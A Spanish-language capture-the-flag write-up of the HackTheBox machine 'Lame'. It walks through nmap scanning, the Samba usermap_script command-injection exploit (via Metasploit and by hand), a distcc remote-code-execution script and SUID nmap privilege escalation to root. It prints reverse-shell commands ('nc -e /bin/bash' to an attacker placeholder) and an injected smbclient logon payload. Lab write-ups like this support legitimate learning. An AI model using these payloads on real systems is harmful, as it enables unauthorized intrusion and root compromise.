HackTheBox - Máquina Lame

Enumeración

Lanzamos un escaneo para ver los puertos que tiene abiertos y después lanzamos para obtener versiones y scripts básicos de nmap.

nmap -sS --min-rate 5000 -p- --open -T5 -v -n -Pn -oG allPorts 10.10.10.3

nmap -sV -sC -p21,22,139,445,3632 10.10.10.3 -oN targeted

Y obtenemos el siguiente resultado:

21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Explotación

Cuando empecé con esta máquina de HTB usé Metasploit por no tener experiencia. Cuando me propuse crear este contenido también empece a ver vídeos y streams de gente que se dedica al mundo de la Ciberseguridad para adquirir conocimientos. Viendo un vídeo acerca de esta máquina, vi que también se podía hacer de forma manual por lo que también lo voy hacer de esta forma para adquirir ese conocimiento.

Después de analizar el FTP mediante el acceso anónimo y ver que no hay nada disponible, analizamos samba y el software distcc como posible vector de ataque.

Automática (Metasploit)

Buscamos la versión de samba 3.0.20 con searchsploit.

searchsploit samba 3.0.20

Y obtenemos el siguiente resultado:

--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                           |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                                                                                   | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - Username map script Command Execution (Metasploit)                                                                            | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                                                    | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow                                                                                                                    | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                                                                            | linux_x86/dos/36741.py
--------------------------------------------------------------------------------------------------------------------------------------------------------- 

Abrimos metasploit y usamos use exploit/multi/samba/usermap_script. Configuramos las opciones con show options y el payload show payload (cmd/unix/reverse), el siguiente paso es ejecutar con exploit y obtenemos la reverse shell. Ya solo quedaría obtener la flag de usuario y de root, ya que de este modo somos root.

Explotación Manual

Como he mencionado antes esta parte la vi en el writeup de s4vitar, por lo que voy a reproducirla para aprender de forma manual.

Samba

Buscamos un script mediante searchsploit samba 3.0 command execution y obtenemos lo siguiente:

searchsploit samba 3. command execution
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.20 < 3.0.25rc3 - Username map script Command Execution (Metasploit)     | unix/remote/16320.rb
---------------------------------------------------------------------------------------------------------------------

Mediante smbmap -H 10.10.10.3 vemos los permisos de los recursos compartidos de la máquina:

smbmap -H 10.10.10.3      
[+] IP: 10.10.10.3:445  Name: 10.10.10.3                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        tmp                                                     READ, WRITE     oh noes!
        opt                                                     NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$                                                  NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))

Nos conectamos al directorio /tmp smbclient //10.10.10.3/tmp --option="client min protocol=NT1" -N utilizando null sesión, también hay que añadirle el parámetro –option ya que si no lo pones te saltara un error de autenticación.

Analizando el script vemos que hace un login con el siguiente usuario:

`username = "/=`nohup " + payload.encoded + "`"`

Estando conectado al recurso compartido, lanzamos un login con el siguiente formato para poder obtener una conexión vía netcat a nuestra máquina.

smb: \> logon "/=`nohup nc -e /bin/bash <ip_atacante> <puerto>`"
Password: (Damos enter)

Distcc

Si hacemos un searchsploit distcc nos sale lo siguiente:

--------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit)     | multiple/remote/9915.rb
--------------------------------------------------------------------------------------------- ---------------------------------

Como se puede ver hay un script pero es a través de Metasploit, para hacerlo de forma manual con exploit github

Ejecutamos con un whoami para probar:

python3 distccd_rce_CVE-2004-2687.py -h 10.10.10.3 -p 3632 -c whoami

Cuando yo hice la prueba me daba el siguiente error:

[OK] Connected to remote service
a bytes-like object is required, not 'str'
[KO] Exception Raised

Por lo que tuve que editar para añadir el str.encode() y el decode en la siguientes variables:

Cuando el lanzamiento ha sido satisfactorio obtenemos por pantalla el usuario daemon, el siguiente paso es lanzar una shell hacia nuestra máquina:

python3 distccd_rce_CVE-2004-2687.py -h 10.10.10.3 -p 3632 -c 'nohup nc -e /bin/bash <ip> <puerto> &'

[IMPORTANTE] El nohup se pone para que cuando se lanza un exploit que te da una sesión y se cierra, se quede en segundo plano en otro proceso. Cuando obtenemos la reverse shell hacemos el tratamiento de la shell.

Desde la carpeta home hacemos la búsqueda de la flag de user.txt y la mostramos con:

find \-name user.txt 2>/dev/null | xargs cat

Escalada de privilegios desde distcc

Para escalar privilegios en esta máquina hacemos uso de los suids:

find \-perm -4000 2>/dev/null

Para esta máquina vamos a usar ./usr/bin/nmap para elevar privilegios, para ello usamos GTFOBINS para obtener una shell con el binario nmap.

En GTFOBINS nos dice que hay dos maneras pero mirando la versión de nmap, se puede utilizar la b) The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands

daemon@lame:/$ nmap --version

Nmap version 4.53 ( http://insecure.org )
daemon@lame:/$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#

Y ya nos queda ver la flag de root.